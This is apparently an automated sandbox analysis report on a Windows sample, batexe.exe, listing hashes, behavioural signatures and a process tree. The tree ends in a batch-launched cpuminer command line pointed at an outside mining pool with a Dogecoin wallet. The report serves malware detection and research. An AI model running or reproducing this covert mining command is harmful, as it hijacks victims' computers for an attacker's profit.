Analysis

  • max time kernel
    298s
  • max time network
    296s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    11/02/2024, 22:28

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4164
    • C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2968
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5FB4.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2384
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2264

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe

    Filesize

    9.3MB

    MD5

    1d4d90c5375de132fdf7f18980037991

    SHA1

    d4cac265c3d2d62b57c200535285e9ae46ed4db7

    SHA256

    571e0cf9c7228f3363bdcea6b412c3d3e7177218aaf5b9c30e5a6a226afa858d

    SHA512

    16258090e4682bcab19ea60166f6bd7b067ce6f2d2f33a10651961e2b8e789e5354ece6e201ef5636a72733aa085f8cf266d935cb4224605f036b83ef58c8d4e

  • C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe

    Filesize

    8.8MB

    MD5

    b898d5a3f9ee6358b77ff766ef16e635

    SHA1

    4bd5722962727bf3ddc9ba6d848ac4786e5d837d

    SHA256

    47350731b84eca46584c95d8a361ab7f1dde01249c94234392fe213f2f357dc7

    SHA512

    469c6a02a5b252ae705b5ed5005068260f23a5733723149a23552a02d56e66025f95856788710f8d973679c8bdddf2a5af79388566201875710f221f9c3a3cd9

  • C:\Users\Admin\AppData\Local\Temp\5BEB.tmp\b2e.exe

    Filesize

    9.5MB

    MD5

    f013d1481f3daca0d30bea71b3e54ee9

    SHA1

    afc0f31f4c314b4f43c3faef7a598bd22fd3c6d6

    SHA256

    2ed90af424346a8e1efe13b8a1ad60657211d12e833607c9ffa78820e2188c6b

    SHA512

    b8e5957697d52f963ec32078151ba705b4d7ef9163681c5f1d9ad14f14a8de41d87fd09bd6851ed9c16ee86f3bed2a7b491b033f35d5d6393069d167958801d8

  • C:\Users\Admin\AppData\Local\Temp\5FB4.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1024KB

    MD5

    1ad6167569badab73bb51c7109b56693

    SHA1

    85c80eff3810728aeb4af1cdfc6984facaeeb6c0

    SHA256

    2a0237405f10841de2c9a5d337e1ae7ef626e562194dc6d096d92ae81e88aea6

    SHA512

    e219d97f0dc3b5f94798dc75f5328b4e7282c420fbb4ed1b44fb1e17941486f244fa28ccd73f55fcaa299a9b2526395a6a81d20a7ff26d9fe02bad77fec68648

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    832KB

    MD5

    43dd8ab1a0fd7f177db516faa81a9635

    SHA1

    66a8b6940797f3396a4f1a6deafca1fda5bffcdd

    SHA256

    d4b58fa7e09511b58f312b57e2067823a7f31ff5cd6369cbf5ef3667c27b60ea

    SHA512

    064753e38fb6e2d64a8ce067a52c24b55eb11cf714a534f3557a0e2bd2f5fba16030d8496c7787f4b272ae6a696f4b017d99771488832d12711a7158c927f772

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    64KB

    MD5

    e7317a0a343dc63f3fa3bf9ca6e93ff0

    SHA1

    0d48881feb76cf81fc46614bebfa3c134cada128

    SHA256

    277a43f17ccc4f0fba87c710212de61a41383bcb94410fa093b50ebd50347a63

    SHA512

    84ef51472db00cd4e90df3062a3cbc29a994c5cf470e54300d4a2f103ba8fb8279ec87b0561625ea1bccd80a7ad664c63457831b4eb919a7608099430b98a3d9

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    768KB

    MD5

    e3f15c79f945604229fa814f57c79274

    SHA1

    19a7015dfbe622ab86c48693ee1605b26112a3fa

    SHA256

    7b09ee53447ccf77a0f2d7bfe25908f963d681433d3cba5a16c7f45646c42175

    SHA512

    12dc1df8a947caee13a12eca5a976feffd7408402b0495e4971d4bd7181e8d353ebc17da044d2ce6d1c273bb05a0ca5ddf7492394b355786d8b14b0997de162c

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.1MB

    MD5

    c92c77f1a0ac6f5dc252a0e6187d8345

    SHA1

    f7814840f3adb7a5f510c3cd772682d5542880d4

    SHA256

    2fc1c2da730cdbdf707f77739c0a6ccd5f598b75d7dcff31eed0f68549f1e043

    SHA512

    dcc271087d055c897b6f5ca858da460861a32f18100a211d794b57778f1c51b06f627e979ecb7e0c9fd06c2f41e4dbcfc168a21611810f867b14d033aab74111

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    768KB

    MD5

    fe316f2b417e142dffa0e03efb65e1a4

    SHA1

    907805b2c3bc0a0791086cb5fc8e3a950bc78e6d

    SHA256

    aca06866767d9e0bbe1e9bef7efce1152d34243e1acefc5f7ac4f6a245456671

    SHA512

    8ebfa0700b00c4064d1ded11fc1b4001f01238ee0c4cf88a873e0ccf38c30a574d600649bfdef85f2e3aec5c279a43680f7a66604bc6f27bbda0219e3786774d

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    832KB

    MD5

    2bfa2b9803bf342837d2cfe9b2b57f64

    SHA1

    e89eec3559c4904ce523943fed97f3fa2534ab39

    SHA256

    38710a4ce8976e3e452fe43563f28f9a8259165fd68ca94f5d64f5f4a299b6ab

    SHA512

    d099f07ca1cb598bdd6f563d917fe3ddcf3f6f37b589f68da987426e416492acf3dbfb2e18387d9afb168308d55c9acfb568c3d31735ab307fc070ff4da93793

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    640KB

    MD5

    1b7339cbcb5b756c15c05fe0cc6443f3

    SHA1

    abdba01c4526a9bbbb7fd3853e09bce3cbb5287d

    SHA256

    5fcf0fb116f77206758e3a669ec4fa52648fae431a5c2aa2d7ee69944142e019

    SHA512

    7661b5e8413e74432a00089b1556b2f49e268b6b5c8cefd839cbe19074bffd138c18e8078627420f4082f579a9e3f8d02b199507ae36380b5375162a4d4ba439

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    576KB

    MD5

    13746f79a51eb8ce3107de99ffc6b56a

    SHA1

    64a00c99a805f8775f08cda4e4d06e1150195347

    SHA256

    2c04d5960f13e859d49c78a8858bdcb0c53914306eba52746105a76d98f5d205

    SHA512

    d0e69c6cf0078c858e8258a4038098e644d611b544b6588b2b1c9d2d2937ade0472edc96257545f5935514bfa18970f5762eb393def612c5a7027727397ca8d7

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    576KB

    MD5

    2caab2ad7ccd18421c96ea2ef5b9e602

    SHA1

    a629673c12e88ef88f30cbe8da12d3afb9a7d42c

    SHA256

    c16fbf658c970a716b976abe7c5d9f1b1a42dacd55a43b16fec0ecc6b84f0552

    SHA512

    aa9692584947d7fdbe843e877430ade40c5b4c6e15887005a292065d6f8e1303abc8dfc2bf50c01fb032bdfeca5bb2aa9312ba44d7ba4e2d3529d07bfd008969

  • memory/2264-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-44-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/2264-45-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/2264-46-0x0000000073350000-0x00000000733E8000-memory.dmp

    Filesize

    608KB

  • memory/2264-47-0x00000000010E0000-0x0000000002995000-memory.dmp

    Filesize

    24.7MB

  • memory/2264-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2968-8-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2968-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4164-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB